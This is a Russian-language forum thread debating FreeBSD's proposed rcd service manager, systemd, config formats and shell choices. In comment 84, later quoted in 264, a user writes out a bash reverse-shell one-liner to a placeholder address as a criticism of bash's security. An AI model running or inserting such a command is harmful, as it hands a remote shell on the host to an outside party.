	Ответить | Правка | К родителю #35 | Наверх | Cообщить модератору

	278. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (276), 11-Сен-26, 20:25
	Первый помощник некроманта, да.
	Ответить | Правка | Наверх | Cообщить модератору

	40. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от yylloc (-), 10-Сен-26, 12:50
	Он гвоздями прибит туда хлеще чем systemd
	Ответить | Правка | К родителю #13 | Наверх | Cообщить модератору

	46. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 13:39
	> Он гвоздями прибит туда хлеще чем systemd Так я говорю равняться на него, а не копировать
	Ответить | Правка | Наверх | Cообщить модератору

	107. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от User (??), 10-Сен-26, 21:30
	Врут. Нет, если вы любите нескучный xml...
	Ответить | Правка | К родителю #13 | Наверх | Cообщить модератору

	110. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от аноним анониму (?), 10-Сен-26, 21:41
	его изобретали, когда кроме xml, ничего не было. он хорош с оговорками: 1. применительно к серверной системе 2. для начала 2000х
	Ответить | Правка | Наверх | Cообщить модератору

	280. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 11-Сен-26, 20:28
	> его изобретали, когда кроме xml, ничего не было. он хорош с оговорками: его изобретали чтоб эти xml'и никогда _руками_ не ковырять. > 1. применительно к серверной системе 2. для начала 2000х ты забыл уточнить - серверной системе на платной поддержке где админ что-то вроде робота, выполняющего непонятные ему команды по телефону. Чем меньше он мог сломать по ошибке - тем лучше.
	Ответить | Правка | Наверх | Cообщить модератору

	123. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 23:16
	> Врут. Нет, если вы любите нескучный xml... Формат дело наживное, я ж не говорю скопировать один в один. Вон в systemd не xml
	Ответить | Правка | К родителю #107 | Наверх | Cообщить модератору

	263. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 18:58
	> Формат дело наживное, я ж не говорю скопировать один в один. Вон > в systemd не xml Там обычный ini вообще. Дешево (парсить) и сердито! А свои задачи - бишь декларативное описание старта юнитов - решает на ура. И как раз отсутствие вот именно что программизма - одна из сильных фич этого. Потому что майнтайнить тюринг-полные художества васянов - это ночной кошмар любого эксплуатанта.
	Ответить | Правка | Наверх | Cообщить модератору

	279. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 11-Сен-26, 20:26
	> Там обычный ini вообще. Дешево (парсить) и сердито! А свои задачи - напомни, какие параметры надо скидывать через =пустоеместо а какие нет? > бишь декларативное описание старта юнитов - решает на ура. ага, вон той чушью. Спасибо, даром не нать. А чуть что посложнее - в ExecStartPre опять пихать шелл-скритик (а в том sleep 150 чтоб чудо-параллельный-супер-инит успел не только быстрозапустить то что нужно, а и оно бы успело сработать)
	Ответить | Правка | Наверх | Cообщить модератору

	376. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (-), 13-Сен-26, 01:44
	> напомни, какие параметры надо скидывать через =пустоеместо а какие нет? 1) Это вообще к вот именно формату файлов не относится - никак! 2) Мелочь толко в том что все остальные - еще ужаснее. Выбирать между адовым энтерпрайзищем с XML - ой, парсинг тормозит, давайте бинарный кеш в скулайт, ой а их синхрить надо, во брейнфак - и художествами с 3 страниц скриптоты где код пополам с конфигурацией - ну такое себе, имхо. Так что я рад что появился sd. Должен же кто-то был показать как это все делать не через ректум наконец? Понятно что у него свои грабли есть - у какого софта сложнее hello world их нет? Но остальные - не смогли и так, делая какую-то хрень, если не хтонь. >> бишь декларативное описание старта юнитов - решает на ура. > ага, вон той чушью. Спасибо, даром не нать. А тебя никто и не заставляет! Рассаду вон выращивай, или собак мой :). Зато мне вот - полегчало. И художества - развидел в основном, и мои системные задачи - разруливает. И RTFMнуть раз в жизни я таки - могу. И даже шаблоны юнитов на типовые оказии - сделал. > А чуть что посложнее - в ExecStartPre опять пихать шелл-скритик Ну дык ни у кого нет цели - все и вся затолкать в жесткую логику чуть не на уровне чипсета. Есть цель свести все к разумному балансу. Не, куча спагетти гамнокода и отсутствие диагностики и управления чуть менее чем полностью - нормальным состоянием дел не является, вот хоть как. Очень хорошо что кто-то попробовал нечто между полюсами наколенной неуправляемой напрочь пакости vs жесткий оверинженернутый во имя луны энтерпрайз. На мой вкус по сумме свойств лучше чем у тех и других.
	Ответить | Правка | Наверх | Cообщить модератору

	296. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:10
	Это вам ini кажется простым форматом, пока вы его парсер не начали писать и не узнали что там есть разные диалекты.
	Ответить | Правка | К родителю #263 | Наверх | Cообщить модератору

	343. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от User (??), 12-Сен-26, 16:26
	> Это вам ini кажется простым форматом, пока вы его парсер не начали > писать и не узнали что там есть разные диалекты. Да это еще полбеды... даже с самым лучшим парсером (Ну, если мы не пилим СОБСТВЕННЫЙ ЛУДШИЙ ДИАЛЕХТ) - сам формат вот... нетипизированный, и большая часть вещей, которая в нормальном случае делается парсером для ini - радостно переезжает вот в логику приложения. Радость-то кака, счастье прям!
	Ответить | Правка | Наверх | Cообщить модератору

	377. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 13-Сен-26, 01:45
	> Это вам ini кажется простым форматом, пока вы его парсер не начали > писать и не узнали что там есть разные диалекты. Ну я писал минимальный парсер ini. Это неизмеримо проще чем полноценный парсер JSON или тем более XML.
	Ответить | Правка | К родителю #296 | Наверх | Cообщить модератору

	389. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от _ (??), 13-Сен-26, 07:45
	... а теперь попробуй сделать полный, а не минимальный. Видишь как стол развернулся? Для тех, ты хотябы в теории - но можешь это сделать... А стандарт на ini ... это как дороги в глубинке РФ, оно только направление показывает.
	Ответить | Правка | Наверх | Cообщить модератору

	397. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 13-Сен-26, 11:51
	> ... а теперь попробуй сделать полный, а не минимальный. А вот - зачем? Нас интересует только свой конфиг, а не осчастливить человечество.
	Ответить | Правка | Наверх | Cообщить модератору

	458. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от _ (??), 15-Сен-26, 03:44
	> Нас интересует только свой конфиг, а не осчастливить человечество. А... А тогда я не понимаю - чего тут копья ломают? Свой собственный конфиг ты по дефолту распарсишь, даже если он не *.ini, а бинарь какой ... Я (отчего то) так понял, что народ и ныл про то что _чужие_ конфиги попробуй разбери ... не? Ну и ... ладно с ним! :)
	Ответить | Правка | Наверх | Cообщить модератору

	459. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 15-Сен-26, 10:43
	> Свой собственный конфиг ты по дефолту распарсишь, даже если он не *.ini, свой - для своей задачи, а не тобой написанный. Бывает что вместо того чтоб его парсить - исполняют какой-нибудь кот. Ну или просто падают. Но тут ini ничем не хуже xml.
	Ответить | Правка | Наверх | Cообщить модератору

	422. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 13-Сен-26, 16:31
	> ... а теперь попробуй сделать полный, а не минимальный. Видишь как стол развернулся? Но в моей задаче достаточно - вон того. Все неизвестное я могу или игнорить или слать в пень с отлупом что ключ/или формат данных - не те/не опознаны. При том - отлупив точную строку на которой проблема. А жысон или XML может быть отформатирован - как угодно, и там даже просто отлупить где проблема - на произвольном внешнем input - уже весьма такое себе. С XML аналогично - можно дать их как 1 огромную мегастроку, ничему не противоречит, но юзер очешуеет с репорта что на 10258-й позиции видите ли - проблема! А если вы реформатнете в нечто более читаемое, репорт уже не валиден стал. Опа! И 10258-й позиции ... чего? Байта? UTF символа? Или...? У ini обычно достаточно сказать что в строке 25 - лажа, и юзер сам далее разберется что за фигня. Вообще заскипав тему с позицией в репорте. Дешево и сердито. > Для тех, ты хотябы в теории - но можешь это сделать... > А стандарт на ini ... это как дороги в глубинке РФ, оно > только направление показывает. Мне нужно - не "стандарты" а чтоб работало.  С вашими стандартами - я могу одной левой навалить 100500 жысонов или XML которые совершенно стандартны - и при этом простреливают мозг вашему софту. Там вон майкрософту с OOXML - накидали кучу тесткейсов генеренных прям по их спекам - которые MSO не открывает. Но формально - это, типа, стандарт, да еще аж от ISO. Но вот толку с этого на практике ровно фиг :)
	Ответить | Правка | К родителю #389 | Наверх | Cообщить модератору

	396. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 13-Сен-26, 11:50
	> Это вам ini кажется простым форматом, пока вы его парсер не начали > писать и не узнали что там есть разные диалекты. обычно все же его пишут под задачу, чем и хорош формат (свой xml - добро пожаловать в ад. А в несвоем кстати опять можно нечаянно исполнить конфиг при его парсинге) - т.е. он хорош именно тем что _свой_ конфиг (а не универсальный сферический) ты _можешь_ распарсить сам, а не зависеть от миллиона лефтпадов сомнительного качества. И в отличие от json - он человекочитаем, и в отличие от yaml - не ломается от лишнего невидимого символа. Ну да, парсер немного сложнее чем кажется большинству начинающих на первый взгляд, но если уж ты с кодом сервиса справился...
	Ответить | Правка | К родителю #296 | Наверх | Cообщить модератору

	409. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 13-Сен-26, 14:10
	Да я и не против ini, и технически LUA для загрузки конфига это поддиалект ini :) Это было замечание про то что у ini тоже есть диалекты, что это не какой то единый стандарт. Если с окончанием строк CRLF vs LF всё просто, с символом для комента тоже, то с регистрозависимостью уже не так всё однозначно. А вот с тем как интерпретировать пробелы и табы в "name=value" при парсинге того что до = и парсинге того что после = уже не так весело. Те как минимум не понятно можно ли в value пробелы и табуляции указывать в качестве данных. Ещё веселее это считать ли символ комента в value частью value или же это комент.
	Ответить | Правка | Наверх | Cообщить модератору

	425. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 13-Сен-26, 16:36
	> Да я и не против ini, и технически LUA для загрузки конфига > это поддиалект ini :) > Это было замечание про то что у ini тоже есть диалекты, что > это не какой то единый стандарт. И тем не менее - конфиг s-d визуально намного чище и без визуального мусора чем вон то вверху. Все кратко и по делу. А вон то - реально XML напоминает по количкству визуального clutter. Давайте еще блин IDE потребуем для правки конфигов. Удобно будет, особенно на казуальных серваках всяких.
	Ответить | Правка | Наверх | Cообщить модератору

18. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от warlock66613 (ok), 10-Сен-26, 11:05
Это наверное круто и правильно, но я не понял зачем это нужно.
Ответить | Правка | Наверх | Cообщить модератору

	22. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от 1 (??), 10-Сен-26, 11:31
	1. Ускорить загрузку 2. Выкинуть monitord
	Ответить | Правка | Наверх | Cообщить модератору

	25. "Для FreeBSD развивают новый системный менеджер rcd"	+3 +/–
	Сообщение от xsignal (ok), 10-Сен-26, 11:39
	> 1. Ускорить загрузку А что, приходится так часто перезагружаться, что это стало узким местом?
	Ответить | Правка | Наверх | Cообщить модератору

	41. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (41), 10-Сен-26, 12:57
	сервер может долго запускаться, какую-нибудь террабайтную базу проверять перед тем как сокеты открыть
	Ответить | Правка | Наверх | Cообщить модератору

	143. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от sunjob (ok), 11-Сен-26, 03:21
	> какую-нибудь террабайтную базу система инициализации ускорит этот процесс?
	Ответить | Правка | Наверх | Cообщить модератору

	395. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 13-Сен-26, 11:46
	>> какую-нибудь террабайтную базу > система инициализации ускорит этот процесс? умная система инициализации просто отправит его фоново исполняться, и хотя бы обеспечит доступность хоста и его остальную конфигурацию, пока оно там копается. Возможно ты захочешь вмешаться в процесс или починить пока что-то в другом месте, и неплохо бы дать тебе такую возможность. Нужно, конечно, редко, и еще реже нельзя просто добавить & в нужный скриптик. Чай не системдрянь. Но обычно ты на такие грабли наступаешь когда оно уже вот, висит и перепроверяет свой терабайт, а & ты поставишь только в следующий раз, если в суматохе не забудешь снова.
	Ответить | Правка | Наверх | Cообщить модератору

	402. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от sunjob (ok), 13-Сен-26, 12:28
	> умная система инициализации просто отправит его фоново исполняться а тупой баш-старт-скрипт это умел с самого рождения... :о) да и вопрос косался немного (совсем) другого аспекта. зачем вы стрелки переводите? не дело это... балаганить мы все умеем :о) п.с. если база "свалилсь" - то это совсем другой "каЛлинкор" и загрузка тут уже по барабану, берутся серьезные инсрументы для ремонта итд... > умная система инициализации и упаси нас от этого. пусть система инициализации остается простой/тупой - и выполняет то, что ей и нужно а не заниматься мыслеобразами "как оно тут будет лучше"... разбираться/искать ошибки, исправлять - однозначно лучше в "тупой", нежели в "умной"... нафиг-нафиг...
	Ответить | Правка | Наверх | Cообщить модератору

	403. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 13-Сен-26, 12:40
	> а тупой баш-старт-скрипт это умел с самого рождения... :о) в том и дело что нет, он родился - т-пым ;-) Поправить-то ты можешь, конечно, и так двести раз. Но тут чувак системно взялся. Почему же нет. > п.с. если база "свалилсь" весь сервак свалился, допустим. И мы не хотим ждать сорок минут пока база поднимется (мы вообще после этого не очень хотим чтоб она без спросу поднималась, кластер уже свичнулся), а хотим посмотреть на последствия, для начала. Поэтому ssh (и рабочая разумеется юзер среда со всеми деталями) нам нужен. А этовот пусть там проверяется где-то в фоне, мы еще по логу посмотрим надо ли ее обратно в кластер или лучше ресинкнуть все терабайты заново. На самом деле помимо обычных баз полно похожих историй, когда нормальный старт долго и дорого (и это - нормально, подождут) но неплохо бы возможность вмешаться когда оно не очень нормально - неважно, при старте что-то пошло не так, или мы завершились не так в прошлый раз.
	Ответить | Правка | Наверх | Cообщить модератору

	407. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от sunjob (ok), 13-Сен-26, 13:09
	> И мы не хотим ждать сорок минут нормальные пацаны и не ждут! о чем и речь. п.с. я не против "велосипедов"
	Ответить | Правка | Наверх | Cообщить модератору

	44. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (43), 10-Сен-26, 13:13
	Фряха последние годы ориентируется на десктоп (см. laptop project), поэтому там это будет полезно
	Ответить | Правка | К родителю #25 | Наверх | Cообщить модератору

	96. "Для FreeBSD развивают новый системный менеджер rcd"	–2 +/–
	Сообщение от Аноним (92), 10-Сен-26, 20:47
	> Фряха последние годы ориентируется на десктоп А раньше они на что ориентировались? На избегание любой возможности успеха где-либо кроме собственных фантазий?
	Ответить | Правка | Наверх | Cообщить модератору

	70. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (67), 10-Сен-26, 16:01
	1. Оно не сильно поможет: https://wiki.freebsd.org/BootTime
	Ответить | Правка | К родителю #22 | Наверх | Cообщить модератору

	23. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от 1 (??), 10-Сен-26, 11:33
	*monit же !
	Ответить | Правка | К родителю #18 | Наверх | Cообщить модератору

19. "Для FreeBSD развивают новый системный менеджер rcd"	–2 +/–
Сообщение от Аноним (19), 10-Сен-26, 11:14
Лучше б shepherd затащили… а, не, там же лицензия некошерная.
Ответить | Правка | Наверх | Cообщить модератору

	39. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (90), 10-Сен-26, 12:49
	Просто наяривание на скорость загрузки. Впрочем, в Линуксе некоторые тоже этим страдают.
	Ответить | Правка | Наверх | Cообщить модератору

	137. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (-), 11-Сен-26, 00:46
	Никто уже таким не занимается, спокойно ждут по 30 секунд, когда нерабочая сеть по таймауту отвалится.
	Ответить | Правка | Наверх | Cообщить модератору

	134. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Сладкая булочка (?), 11-Сен-26, 00:36
	> Лучше б shepherd затащили… Чем он лучше?
	Ответить | Правка | К родителю #19 | Наверх | Cообщить модератору

	161. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (19), 11-Сен-26, 09:20
	Зависимости, таймеры, пользовательские сервисы, расширяемость, Guile. Ну и да — он уже есть.
	Ответить | Правка | Наверх | Cообщить модератору

	352. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от _ (??), 12-Сен-26, 19:23
	Нет его. Ну сайтик то есть - да, а вот в-живую ты его хоть где нибудь, хоть разочек видел? Я вот не то что его не видел, я не видел никого кто бы его видел ;-) Как то такЪ(С)
	Ответить | Правка | Наверх | Cообщить модератору

	441. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (19), 13-Сен-26, 19:02
	Видел конечно (иначе зачем бы мне его упоминать), мало того, пользуюсь (ну вернее как пользуюсь, пару собственных сервисов не считается), оно представь - просто работает.
	Ответить | Правка | Наверх | Cообщить модератору

26. "Для FreeBSD развивают новый системный менеджер rcd"	–2 +/–
Сообщение от Мемоним (?), 10-Сен-26, 11:43
> написания встроенных обработчиков на языке Lua Заменить баш-портянки на луа-портянки? Ну так себе идея.
Ответить | Правка | Наверх | Cообщить модератору

	59. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 15:02
	Во фре нет BASH по умолчанию и все скрипты пишутся на shell script, он же юзается как /bin/sh для rc.d.
	Ответить | Правка | Наверх | Cообщить модератору

	63. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (90), 10-Сен-26, 15:34
	Ну ну более зашкварный, чем bash.
	Ответить | Правка | Наверх | Cообщить модератору

	66. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (66), 10-Сен-26, 15:44
	По сравнению с bash, posix sh это просто трэш. Но баш можно поставить.
	Ответить | Правка | К родителю #59 | Наверх | Cообщить модератору

	74. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 16:14
	Как пользовательский шелл - да, не удобное. Для скриптов вполне норм.
	Ответить | Правка | Наверх | Cообщить модератору

	97. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (92), 10-Сен-26, 20:48
	> Для скриптов вполне норм. Но только если писать их на lua.
	Ответить | Правка | Наверх | Cообщить модератору

	84. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от OpenEcho (?), 10-Сен-26, 17:46
	> По сравнению с bash, posix sh это просто трэш. Зато у него нет подушки для хакеров в виде башевского bash -i >& /dev/tcp/х.х.х.х/1234 0>&1
	Ответить | Правка | К родителю #66 | Наверх | Cообщить модератору

	98. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (92), 10-Сен-26, 20:49
	Ну не собирай с этими фичами, если тебя ломают постоянно.
	Ответить | Правка | Наверх | Cообщить модератору

	183. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от OpenEcho (?), 11-Сен-26, 11:35
	> если тебя ломают постоянно. Очередной телепат? > Ну не собирай с этими фичами Чудак однако. "Собирают" любители самоделкины, а там где на этоm делают деньги, изпользуют старое правило - use the right tool for a job
	Ответить | Правка | Наверх | Cообщить модератору

	264. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 19:00
	>> По сравнению с bash, posix sh это просто трэш. > Зато у него нет подушки для хакеров в виде башевского > bash -i >& /dev/tcp/х.х.х.х/1234 0>&1 А что - и неткат ты тоже не ставишь? Да и может тогда сеть лучше зарубить совсем? А то мало ли какой там еще софт окажется или хаксор socket() удумает вызывать...
	Ответить | Правка | К родителю #84 | Наверх | Cообщить модератору

	271. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от OpenEcho (?), 11-Сен-26, 19:33
	> А что - и неткат ты тоже не ставишь? Ты вообще понял как это работает? Зачем неткэт? Всё что нужно на пациенте - доступ к башу, который по умолчанию везде доступен для всех юзеров > Да и может тогда сеть лучше зарубить совсем? Жги еще :)
	Ответить | Правка | Наверх | Cообщить модератору

	378. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 13-Сен-26, 01:48
	> Ты вообще понял как это работает? Зачем неткэт? Всё что нужно на > пациенте - доступ к башу, который по умолчанию везде доступен для > всех юзеров И, собссно, что? А так - таки - у меня ряду сетевых контейнеров вот тупо доступ в систему зарублен - и хрен вы этот bash вызовете. А зачем httpd уметь звать баш? Ему не надо баш для его крейсерской работы - значит, обойдетесь без bash. Но если его сломают, позвать socket() какой - можно и без баша если уж очень хочется. >> Да и может тогда сеть лучше зарубить совсем? > Жги еще :) Я в принципе предложил еще более радикальный вариант адептам микротов - питалово не подключать. Вот это хаксоры уж точно фиг оспорят. Даже ME и PSP с убер-бэкдорами бессильны против такого злодейства.
	Ответить | Правка | Наверх | Cообщить модератору

	454. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от OpenEcho (?), 14-Сен-26, 17:52
	> И, собссно, что? Соббнно если хакер найдет доступ в систему через какую угодно дыру, он может организовать реверс шел без всяких дропов изпользуя доступный для всех на большинстава системах баш > у меня ряду сетевых контейнеров Контейнеры ломаются, почитайте о них больше > А зачем httpd уметь звать баш? А кто говорил про хттпд? Ну пусть будет хотя бы и он, вы не разу не видели что там время от времени находятся дыры через которые можно позвать баш и нагнуть систем дальше > Я в принципе предложил еще более радикальный вариант адептам микротов - питалово не подключать. Как "смешно" и "гениально" !!!
	Ответить | Правка | Наверх | Cообщить модератору

	135. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Сладкая булочка (?), 11-Сен-26, 00:38
	> По сравнению с bash, posix sh это просто трэш. С чего это?
	Ответить | Правка | К родителю #66 | Наверх | Cообщить модератору

	146. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (68), 11-Сен-26, 03:31
	Как там с массивами, уже завезли или $@ хватает каждому?
	Ответить | Правка | Наверх | Cообщить модератору

	215. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Сладкая булочка (?), 11-Сен-26, 13:56
	> Как там с массивами, уже завезли или $@ хватает каждому? А массивы в баше - это не трэш?
	Ответить | Правка | Наверх | Cообщить модератору

	221. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (197), 11-Сен-26, 14:57
	Shell сам по себе трэш. Единственная причина, по которой его не выкинули - обратная совместимость.
	Ответить | Правка | Наверх | Cообщить модератору

	265. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (-), 11-Сен-26, 19:01
	>> Как там с массивами, уже завезли или $@ хватает каждому? > А массивы в баше - это не трэш? Поэтому вот вам некая шляпа с сложными объектами, потенциально вложенными и сбоку бантик^W Lua еще? Так и представляю себе лица эксплуатантов которым обломился кастомизированый сервер на ЭТОМ. Впрочем, тем быстрее они его перекатают на убунту :)
	Ответить | Правка | К родителю #215 | Наверх | Cообщить модератору

	297. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:16
	Вы зря так относитесь к LUA. Он был уже давно и не сильно был известен/популярен. Но именно в последние годы как то резко стал набирать обороты, отчасти потому что в популярных играх встроен и достаточно прост. Лет через 10 подрастёт поколение которое кодило на нём в играх и проектов с ним станет ещё больше. На загончик админов фапающих на луа можете посмотреть в OpenRestry.
	Ответить | Правка | Наверх | Cообщить модератору

	314. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от _ (??), 12-Сен-26, 05:23
	Лет через 10 всем будет по-бороде на ЯП, это какая-то внутренняя штука для ЫЫ-шки. Ну как сейчас ассемблер такая жи штука для компилера. Часто заглядываешь? Вот тот то же ...
	Ответить | Правка | Наверх | Cообщить модератору

	334. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 14:37
	Сомнительно. Учитывая что все ЫЫ меин апстримы дружно орут: "эй законодатели, держите нас семеро а то щас такой прогресс случится что камня на камне не останется" :) Для читателя между строк: давайте вы поможете нам красиво выйти из положения в котором у нас дальше ничего лучше не получается.
	Ответить | Правка | Наверх | Cообщить модератору

	344. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от User (??), 12-Сен-26, 16:29
	> Сомнительно. > Учитывая что все ЫЫ меин апстримы дружно орут: "эй законодатели, держите нас > семеро а то щас такой прогресс случится что камня на камне > не останется" :) > Для читателя между строк: давайте вы поможете нам красиво выйти из положения > в котором у нас дальше ничего лучше не получается. А лучше, в общем-то и не надо уже - уровень среднего миддла держит, чего больше-то?
	Ответить | Правка | Наверх | Cообщить модератору

	404. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 13-Сен-26, 12:42
	> А лучше, в общем-то и не надо уже - уровень среднего миддла > держит, чего больше-то? миддл не справится переписать за меня zfs. Сам и признался. Жду пока доучат до сеньора-помидора. Я чтоль за робота работать должен?!
	Ответить | Правка | Наверх | Cообщить модератору

	406. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 13-Сен-26, 13:08
	Он справится с наукообразном-на-серьезных-щщах объяснением, что "zfs тебе не нужен", чего в массовом контексте и достаточно.
	Ответить | Правка | Наверх | Cообщить модератору

	455. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от OpenEcho (?), 14-Сен-26, 17:56
	> Сомнительно. > Учитывая что все ЫЫ меин апстримы дружно орут: "эй законодатели, держите нас > семеро а то щас такой прогресс случится что камня на камне > не останется" :) Ага и после это спикер парламента и президент говорят, - не надо ничего тормозить, а то Китаю фору дадим
	Ответить | Правка | К родителю #334 | Наверх | Cообщить модератору

	379. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (-), 13-Сен-26, 01:56
	> Вы зря так относитесь к LUA. 1) Мне не нравится его пасквилеобразный синтаксис. 2) Я вообще не понимаю какую задачу ТАМ это нечто должно решать - кроме создания сеансов жесткого брейнфака неудачникам получившим такой подарок на их несчастную репу. TL;DR я очень рад что sd здорово избавил меня от подобных потуг и художеств. И я не хочу вашу трехстраничную логику и "кульные хаки" ни на том ни на другом, честно говоря. Сами в своих гениальных копролитах и копайтесь а у меня есть более интересные способы потратить мое время чем ЭТО. > Но именно в последние годы как то резко стал набирать обороты, отчасти > потому что в популярных играх встроен и достаточно прост. И, собственно, при чем тут я? Это же можно сказать и про питон какой-нибудь. Наверное на нем даже можно написать какую-то систему инициализации. Зачем так? А хрен его знает. > Лет через 10 подрастёт поколение которое кодило на нём в играх и > проектов с ним станет ещё больше. Спасибо, они уже достаточно напитонячили - а я и мои системы слегка не мусорный бачок для всякого вашего одноразового треша. В этом смысле деление на относительно стабильный, шустрый и довольно фичастый core и декларативную конфигу управляющую им - находит мое понимание на уровне системной архитектуры. А ваши б-цкие спагетти - сами кушайте. Вместе с вон теми вот. И я отлично в курсе что вы этим всем сами же себя и завоняете, как sysv и куча питонопроектов. > На загончик админов фапающих на луа можете посмотреть в OpenRestry. Мне от них ничего не нужно и пофиг на их существование.
	Ответить | Правка | К родителю #297 | Наверх | Cообщить модератору

	408. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 13-Сен-26, 13:14
	> И, собственно, при чем тут я? Это же можно сказать и про > питон какой-нибудь. Наверное на нем даже можно написать какую-то систему инициализации. > Зачем так? А хрен его знает. Эх, молодёжь! Что значит "можно написать"? Supervisord вполне себе есть)))
	Ответить | Правка | Наверх | Cообщить модератору

	456. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 14-Сен-26, 23:31
	> Во фре нет BASH по умолчанию и все скрипты пишутся на shell > script, он же юзается как /bin/sh для rc.d. Линухи в эпоху актуальности sysv тоже bash предпочитали не юзать. Он не чемпион по скорости и жрет прилично ресурсов. Какой-нибудь Dash в дебиане был в разы быстрее.
	Ответить | Правка | К родителю #59 | Наверх | Cообщить модератору

27. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от Аноним (27), 10-Сен-26, 12:01
А мне вот интересно, зачем для запуска nginx требуется sshd.
Ответить | Правка | Наверх | Cообщить модератору

	29. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (29), 10-Сен-26, 12:14
	корм для нейросети. боремся как можем
	Ответить | Правка | Наверх | Cообщить модератору

31. "Для FreeBSD развивают новый системный менеджер rcd"	+3 +/–
Сообщение от Аноним (31), 10-Сен-26, 12:18
Да неужели? Авторы rcd сделали замену системд здорового человека и без тонны лишнего кода из системд. Такое можно только приветствовать, ещё и обратная совместимость есть.
Ответить | Правка | Наверх | Cообщить модератору

	42. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (41), 10-Сен-26, 12:59
	тссс, сплюнь, может у бсдишников чтото толковое выйдет
	Ответить | Правка | Наверх | Cообщить модератору

	81. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (75), 10-Сен-26, 16:53
